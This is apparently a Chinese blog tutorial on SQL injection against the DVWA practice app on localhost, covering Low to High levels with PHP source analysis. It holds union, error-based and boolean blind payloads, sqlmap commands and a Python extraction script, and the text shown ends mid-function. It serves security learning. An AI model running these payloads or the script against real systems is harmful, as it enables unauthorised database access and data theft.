主頁 >  其他 > 網路安全-靶機dvwa之sql注入Low到High詳解(含代碼分析)

網路安全-靶機dvwa之sql注入Low到High詳解(含代碼分析)

2020-10-14 04:26:14 其他

目錄

SQL Injection-LOW

Union注入

注入點判斷

欄位判斷

獲取資料庫名

獲取表名

獲取列名

獲取資料

Error注入

獲取表名

獲取列名

獲取資料

原始碼決議

主要步驟

漏洞原因

SQL Injection-MIDIUM

Union

注入點判斷

獲取表名

Error注入

原始碼分析

步驟

漏洞原因

SQL Injection-HIGH

Union注入

注入點檢測

欄位判斷

獲取表名

Error注入

原始碼決議

主要步驟

漏洞原因

SQL Injection(Blind)-LOW

Boolean盲注

獲取資料庫名

sqlmap

獲取資料庫名

獲取表名

獲取列名

獲取資料

原始碼決議

主要步驟

漏洞原因

SQL Injection(Blind)-MIDIUM

Boolean盲注

手工

sqlmap

原始碼決議

主要步驟

漏洞原因

SQL Injection(Blind)-HIGH

手工注入

sqlmap

原始碼分析

主要步驟

漏洞原因

IMPOSSIBLE

非盲注

主要步驟

安全原因

盲注

medium級別 Error注入 和 Boolean盲注腳本


本篇文章,針對靶機dvwa(Damn Vulnerable Web Application)中的SQL Injection、SQL Injection(Blind)的LOW、MIDIUM、HIGH安全級別使用網路安全-SQL注入原理及防御SQL注入中提到的SQL注入技術,利用網路安全-Mysql注入知識點中提到的資料庫函式,使用手工/sqlmap進行sql注入,并根據網路安全-php安全知識點對LOW、MIDIUM、HIGH、IMPOSSIBLE安全級別的代碼進行解釋,對于非盲注使用UNION注入、ERROR注入、對于盲注,使用BOOLEAN注入和sqlmap,TIME注入耗時太久,沒有采用,

目標:獲取用戶名等感興趣的資訊

SQL Injection-LOW

正常提交payload為1

正常頁面

Union注入

注入點判斷

1 and 1=1#
回傳正常
1 and 1=2#
回傳正常

結論:不是數字型注入,

1' and 1=1#
回傳正常
1' and 1=2#

沒有結果回傳

頁面例外

結論:字符型注入,單引號閉合

sql陳述句猜測

First name即回顯的First name在資料庫中對應的欄位,Surname同理

假設表名為users,User ID 對應的欄位為id

select First name,Surname from users where id = 'User ID'

欄位判斷

猜測是2個欄位,直接從2開始,

1' order by 2#
回傳正常

再遞增

1' order by 3#

回傳例外

例外頁面

結論:猜測正確,欄位為2

獲取資料庫名

1' UNION SELECT 1,database() from information_schema.schemata#
資料庫名

結論:資料庫名 dvwa

獲取表名

1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
表名

結論:有兩個表 guestbook、users

獲取列名

假設僅對users表感興趣,其他表只需要把下面的users改為其他即可,

1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
列名

結論:共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login

獲取資料

假設:first_name、last_name已回傳,我們對user和avatar感興趣,對其他的感興趣下面就快取其他列,

為了避免分不清各個資料,使用":",即0x3a進行分隔,

1' UNION SELECT 1,group_concat(user,0x3a,avatar) from users#
資料

user:admin對應的avatar:/dvwa/hackable/users/admin.jpg,以此類推,

Error注入

注入點判斷、欄位判斷和Union注入一樣,當前資料庫就不寫了,用database()函式代替,使用updatexml()函式進行錯誤注入,

獲取表名

0x7e是~,這樣報錯的結果就是~sql陳述句運行結果~,

1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
第一張表

同理,獲取第二張表只需將上面payload改為limit 1,1即可,不再贅述,

獲取列名

1' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
第一個列名

同理,獲取第二列只需將上面payload改為limit 1,1即可,其余列繼續增加,不再贅述,

獲取資料

1' and updatexml(1,concat(0x7e,(SELECT group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1)#
第一條資料

同理,獲取第二條資料只需將上面payload改為limit 1,1即可,其余資料繼續增加,不再贅述,

原始碼決議

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

主要步驟

  • isset檢測變數Submit是否已設定并且非 NULL,即判斷用戶是否點擊了Submit按鈕,
  • 得到用戶提交的資料 id
  • 利用用戶資料拼接成sql陳述句query
  • 使用mysqli_query函式執行sql陳述句并回傳結果給result,若出錯,使用die函式報錯
  • 使用mysqli_fetch_assoc函式獲取結果集的一行給變數row
  • 使用first、last變數獲取row中的first_name、last_name欄位,并使用echo列印 用戶輸入的id和變數first、last

漏洞原因

沒有進行預編譯

用戶資料拼接了代碼,沒有實作代碼、資料分離

沒有進行敏感字符過濾

SQL Injection-MIDIUM

正常頁面

url上沒有引數,是post方式,下拉框進行選擇,只能抓包了,

Union

注入點判斷

payload和LOW級別的Union注入一樣,不再贅述,有問題下方評論,

正常
例外

結論:數字型,無需閉合

欄位判斷、獲取資料庫與LOW一致,不必閉合,由在客戶端提交,改為在burpsuite中提交,

例如,資料庫判斷,其他類似,不再贅述,

id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit
資料庫

獲取表名

1 UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
'被轉義

發現單引號被轉義

工具BEJSON,進行字符轉16進制,注意,工具沒有加0x,需要自行添加,

dvwa轉16進制
1 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x64767761#

即'dvwa'轉為16進制的dvwa 0x64767761

16進制繞過

后序步驟類似,將字符轉為16進制即可,

Error注入

通過上面的Union注入可知,相對于LOW而言,不必閉合,由在客戶端提交,改為在burpsuite中提交,

例如,獲取表名:

id=1 and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#&Submit=Submit
獲取第一張表

后序步驟與LOW級別類似,遇到單引號時,即需要填寫表名時通過16進制進行繞過,不再贅述,有問題下方評論,

原始碼分析

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

步驟

  • isset檢測變數Submit是否已設定并且非 NULL,即判斷用戶是否點擊了Submit按鈕,
  • 得到用戶提交的資料 id,使用mysqli_real_escape_string函式進行轉義
  • 利用用戶資料拼接成sql陳述句query
  • 使用mysqli_query函式執行sql陳述句并回傳結果給result,若出錯,使用die函式報錯
  • 使用mysqli_fetch_assoc函式獲取結果集的一行給變數row
  • 使用first、last變數獲取row中的first_name、last_name欄位,并使用echo列印 用戶輸入的id和變數first、last

漏洞原因

沒有進行預編譯

用戶資料拼接了代碼,沒有實作代碼、資料分離

沒有很好的對敏感關鍵字進行過濾,想要利用mysqli_real_escape_string函式進行敏感字符過濾,但是mysqli_real_escape_string函式并不能過濾一些敏感的關鍵字(如 and or等),它的功能只是轉義一些字符,僅成功過濾了',屬于開發者對函式功能了解的不夠全,網路安全-php安全知識點中有對該函式的解釋,

SQL Injection-HIGH

正常頁面

點擊按鈕彈出視窗,然后再填寫資料,

Union注入

注入點檢測

1' and 1=1#
正常
1' 1=2#

例外

結論:字符型注入,需要閉合,閉合字符為 ' ,當然,在這之前我也嘗試了數字型,為了避免文章篇幅過長,不再贅述,

欄位判斷

1'order by 2#
欄位為2沒問題
1' order by 3
例外

不是資料庫的出錯提示,估計是使用了or die函式進行的自定義提示,這樣的話估計不能使用Error注入,

結論:欄位為2

獲取表名

1' UNION SELECT 1,table_name from information_schema.tables where table_schema=database()#
表名

這...不做了,除了彈個框,和LOW級別的payload一樣啊,感覺沒有加什么,我以為會有些過濾,需要繞過的,,,不再贅述了,

Error注入

注入點判斷、欄位判斷和Union注入一樣,當前資料庫就不寫了,用database()函式代替,使用updatexml()函式進行錯誤注入,

1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
失敗

果然,不能使用Error注入,應該是使用了or die函式,接下來看源代碼吧,

原始碼決議

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

主要步驟

  • isset檢測Session中的id變數是否已設定并且非 NULL
  • 得到用戶提交的資料 id
  • 利用用戶資料拼接成sql陳述句query,id當做字串
  • 使用mysqli_query函式執行sql陳述句并回傳結果給result,若出錯,使用die函式報錯,錯誤是自定義的
  • 使用mysqli_fetch_assoc函式獲取結果集的一行給變數row
  • 使用first、last變數獲取row中的first_name、last_name欄位,并使用echo列印 用戶輸入的id和變數first、last

漏洞原因

沒有進行預編譯

用戶資料拼接了代碼,沒有實作代碼、資料分離

想要利用session和自定義錯誤回傳來增加安全系數,成功的躲過了Error注入方式

SQL Injection(Blind)-LOW

正常提交,payload為1

正常回傳

沒有回顯,采用盲注

Boolean盲注

注入點判斷、欄位判斷和Union注入一樣,

獲取資料庫名

先獲取長度

1' and length(database())>3#
正確
1' and length(database())>4#
錯誤

結論:資料庫名長度>3但不>4,即資料庫長度為4

依次判斷4個字符

1' and substr(database(),1,1)='a'#
錯誤

第一個字符不是a,上圖的url是進行了編碼,網上找了個工具,進行了解碼,可以看出就是上面的payload

解碼

替換為字符d

1' and substr(database(),1,1)='d'#

字符d時回傳正確,

正確

其余的類似,不再贅述, 實際上做時,會寫腳本或使用sqlmap,不然作業量太大,寫腳本也不會按照ASCII表去一個個的嘗試,可以先判斷字符是不是字母,然后再二分查找之類的,

接下來使用sqlmap進行展示,有關sqlmap的知識可以查看:網路安全-sqlmap學習筆記

sqlmap

先獲取cookie備用,按F12,控制臺輸入 document.cookie

cookie
"security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5"

獲取資料庫名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" --current-db --technique=B -v 3 --batch
獲取資料庫名

還是腳本快,1秒解決,sqlmap使用的是mid函式,和substr一樣,可以查看網路安全-Mysql注入知識點

結論:資料庫名 dvwa

獲取表名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa --tables --technique=B -v 3 --batch
獲取資料庫名

結論:dvwa資料庫有2個表,guestbook、users

獲取列名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users --columns --technique=B -v 3 --batch
獲取所有列

結論:見上圖,不手打了,

獲取資料

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users -C user,password,avatar --technique=B -v 3 --dump --batch
獲取資料

還有個csv,里面和cmd視窗顯示的一致,

原始碼決議

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

主要步驟

  • isset檢測變數Submit是否已設定并且非 NULL,即判斷用戶是否點擊了Submit按鈕,
  • 得到用戶提交的資料 id
  • 利用用戶資料拼接成sql陳述句getid
  • 使用mysqli_query函式執行sql陳述句并回傳結果給result,洗掉“or die”來抑制mysql錯誤
  • 使用@mysqli_num_rows函式獲取結果集的數量給變數num,通過@來抑制mysql錯誤
  • 若num>0,輸出“User ID exists in the database.”,否則輸出”User ID is MISSING from the database.“

漏洞原因

沒有進行預編譯

用戶資料拼接了代碼,沒有實作代碼、資料分離

沒有進行敏感字符過濾

SQL Injection(Blind)-MIDIUM

正常

和MIDDLE級別的非盲注一樣,使用了下拉框,是post方式,另外,沒有回顯,

Boolean盲注

注入點判斷,欄位判斷與非盲注一樣

注入點是數字型的,不必閉合,

手工

payload與LOW級別的盲注的區別只是少了閉合字符'

以資料庫長度為例

id=1 and length(database())>3#&Submit=Submit
資料庫長度大于3
資料庫長度大于4

資料庫長度>3但不>4,即資料庫長度為4,后續不再贅述,有問題請下方評論,

sqlmap

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium;csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy;PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2" --forms --current-db --technique=B -v 3 --batch
出錯

不清楚原因

python sqlmap.py -r sqli_blind_midium.txt --technique=B -v 3 --current-db --batch

出錯
-r引數官方檔案

搞不定,可能sqlmap沒學好吧,哪位大佬知道原因,請下方評論,十分感謝!!!這是抓到的包sqli_blind_midium.txt

POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2
Upgrade-Insecure-Requests: 1

id=1&Submit=Submit

原始碼決議

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

主要步驟

  • isset檢測變數Submit是否已設定并且非 NULL,即判斷用戶是否點擊了Submit按鈕,
  • 得到用戶提交的資料 id,使用mysqli_real_escape_string函式進行轉義
  • 利用用戶資料拼接成sql陳述句getid
  • 使用mysqli_query函式執行sql陳述句并回傳結果給result,洗掉“or die”來抑制mysql錯誤
  • 使用@mysqli_num_rows函式獲取結果集的數量給變數num,通過@來抑制mysql錯誤
  • 若num>0,輸出“User ID exists in the database.”,否則輸出”User ID is MISSING from the database.“

漏洞原因

沒有進行預編譯

用戶資料拼接了代碼,沒有實作代碼、資料分離

沒有很好的對敏感關鍵字進行過濾,想要利用mysqli_real_escape_string函式進行敏感字符過濾,但是mysqli_real_escape_string函式并不能過濾一些敏感的關鍵字(如 and or等),它的功能只是轉義一些字符,屬于開發者對函式功能了解的不夠全,網路安全-php安全知識點中有對該函式的解釋,

SQL Injection(Blind)-HIGH

抓包

抓包程序和MIDIUM級別的一樣,Proxy抓包,發送到Repeater,為什么粘貼出來呢?因為cookie里面有id,非盲注高級別的原始碼是從SESSION中得到id,估計這個是從COOKIE中,另外id進行了url編碼,工具:站長URL編碼/解碼

手工注入

payload與LOW級別的盲注的區別只是在彈出的這個框框里面填寫,

sqlmap

由于頁面跳轉,,防止了自動化sql注入,目前版本的sqlmap應該無法成功注入,

原始碼分析

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

主要步驟

  • isset檢測COOKIE中的id變數是否已設定并且非 NULL
  • 得到用戶提交的資料 id
  • 利用用戶資料拼接成sql陳述句query,id當做字串
  • 使用mysqli_query函式執行sql陳述句并回傳結果給result,不使用or die來抑制mysql錯誤
  • 使用mysqli_num_rows函式獲取結果集的數量給變數num,通過@來抑制mysql錯誤
  • 若num>0,輸出“User ID exists in the database.”,否則睡眠一會,顯示404,輸出”User ID is MISSING from the database.“

漏洞原因

沒有進行預編譯

用戶資料拼接了代碼,沒有實作代碼、資料分離

想要利用COOKIE來增加安全系數,抓包可繞過,

IMPOSSIBLE

非盲注

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

主要步驟

  • isset檢測Subbmit變數是否已設定并且非 NULL,即判斷是否點擊了Submit進行提交,
  • 檢查token
  • 得到用戶提交的資料 id,并判斷是否僅為數字
  • 預編譯、系結引數、執行sql陳述句
  • 判斷結果是否為1行,使用first、last變數獲取row中的first_name、last_name欄位,并使用echo列印 用戶輸入的id和變數first、last

安全原因

進行了預編譯,不再拼接sql陳述句,而是替換

檢查了token

判斷了資料型別是否僅為數字

判斷了結果是否僅為1行

盲注

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

在上面的基礎上,去除了回顯,更加安全,

-------------------------------2020.10.13更新--------------------------------

medium級別 Error注入 和 Boolean盲注腳本

dvwa.py

"""
--coding:utf-8--
@File: dvwa.py
@Author:frank yu
@DateTime: 2020.10.13 13:52
@Contact: frankyu112058@gmail.com
@Description:
"""
import requests

headers = {
    'Host': '127.0.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '18',
    'Origin': 'http://127.0.0.1',
    'Connection': 'close',
    'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli/',
    'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; '
              'PHPSESSID=geabfbdgj4h2683s7sc5urlhd6',
    'Upgrade-Insecure-Requests': '1',
}

headers_blind = {
    'Host': '127.0.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '18',
    'Origin': 'http://127.0.0.1',
    'Connection': 'close',
    'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/',
    'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2',
    'Upgrade-Insecure-Requests': '1',
}

url_not_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli/'

url_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/'


def Post(url, headers, data):
    req = requests.post(url, headers=headers, data=data)
    return str(req.text)


def Get_tables():
    tables = []
    i = 0
    while True:
        uid = f'1 and updatexml(1, concat(0x7e, (SELECT table_name from information_schema.tables ' \
              f'where table_schema=database() limit {i}, 1), 0x7e), 1)# '
        # print(uid)
        db_payloads = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_not_blind, headers, db_payloads)
        if len(res.split('~')) < 2:
            break
        tables.append(res.split('~')[1])
        i += 1
    print('tables:', tables)
    return tables


def Get_columns(table):
    columns = []
    i = 0
    while True:
        uid = f'1 and updatexml(1, concat(0x7e, (SELECT column_name from information_schema.columns ' \
              f'where table_schema=database() and table_name={table} limit {i}, 1), 0x7e), 1)# '
        # print(uid)
        db_payloads = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_not_blind, headers, db_payloads)
        if len(res.split('~')) < 2:
            break
        columns.append(res.split('~')[1])
        i += 1
    print('columns:', columns)
    return columns


def Get_data(table, cols):
    datas = []
    c = ',0x3a,'.join([col for col in cols])
    i = 0
    while True:
        uid = f'1 and updatexml(1, concat(0x7e, (SELECT concat({c}) from {table} limit {i}, 1), 0x7e), 1)# '
        # print(uid)
        db_payloads = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_not_blind, headers, db_payloads)
        # print(res)
        if res.find('pre') == -1:
            break
        datas.append(res.split('~')[1])
        i += 1
    print('datas:', datas)
    return datas


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])


def Get_db_blind():
    # 長度
    length = 1
    while True:
        uid = f'1 and length(database())>{length}#'
        len_payloads = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_blind, headers_blind, len_payloads)
        if res.find('exists') == -1:
            break
        length += 1
    print('資料庫長度:', length)
    db = ""
    i = 1
    while i <= length:
        for ascode in range(ord('a'), ord('z') + 1):
            uid = f'1 and ascii(substr(database(),{i},1))={ascode}# '
            # print(uid)
            db_payloads = {'id': uid, 'Submit': 'Submit'}
            res = Post(url_blind, headers_blind, db_payloads)
            if res.find('MISSING') == -1:
                # print(res)
                db = db + str(chr(ascode))
                break
        i += 1
        # print(f'{i}/{length} finished...')
    print('db:', db)
    return db


def Get_tables_blind():
    t_num = 1
    while True:
        uid = f'1 and (select count(table_name) from information_schema.tables where ' \
              f'table_schema=database())={t_num}#'
        tableNum_payload = {'id': uid, 'Submit': 'Submit'}
        # print(tableNum_payload)
        res = Post(url_blind, headers_blind, tableNum_payload)
        # print(res)
        if res.find('MISSING') == -1:
            break
        t_num += 1
    print(f'tableNum:{t_num}')
    tables = []
    t = 0
    # 所有表
    while t < t_num:
        table = ""
        t_len = 1
        # 表名長度
        while True:
            # 第t+1個表的長度
            uid = f'1 and length(substr((select table_name from information_schema.tables ' \
                  f'where table_schema=database() limit {t},1),1))={t_len}'
            tableLen_payload = {'id': uid, 'Submit': 'Submit'}
            res = Post(url_blind, headers_blind, tableLen_payload)
            if res.find('MISSING') == -1:
                break
            t_len += 1
        i = 1
        # 表名
        while i <= t_len:
            # 第t+1個表的表名
            for ascode in range(ord('a'), ord('z') + 1):
                # 第i個字符
                uid = f'1 and ascii(substr((select table_name from information_schema.tables ' \
                      f'where table_schema=database() limit {t},1),{i},1))={ascode}# '
                # print(uid)
                table_payloads = {'id': uid, 'Submit': 'Submit'}
                res = Post(url_blind, headers_blind, table_payloads)
                if res.find('MISSING') == -1:
                    # print(res)
                    table = table + str(chr(ascode))
                    break
            i += 1
        print('table:', table)
        # print(f'{t + 1}/{t_num} finished...')
        tables.append(table)
        t += 1
    return tables


def Get_columns_blind(table):
    columnNum = 1
    while True:
        uid = f'1 and (select count(column_name) from information_schema.columns' \
              f' where table_schema=database() and table_name={table})={columnNum}#'
        # print(uid)
        columnNum_payload = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_blind, headers_blind, columnNum_payload)
        # print(res)
        if res.find('MISSING') == -1:
            break
        columnNum += 1
    print(f'columnNum:{columnNum}')
    cols = []
    c = 0
    # 所有表
    while c < columnNum:
        col = ""
        c_len = 1
        # 列名長度
        while True:
            # 第t+1個表的長度
            uid = f'1 and length(substr((select column_name from information_schema.columns ' \
                  f'where table_schema=database() and table_name={table} limit {c},1),1))={c_len}#'
            # print(uid)
            columnLen_payload = {'id': uid, 'Submit': 'Submit'}
            res = Post(url_blind, headers_blind, columnLen_payload)
            if res.find('MISSING') == -1:
                break
            c_len += 1
        # print('columnLen:', c_len)
        i = 1
        # 列名
        while i <= c_len:
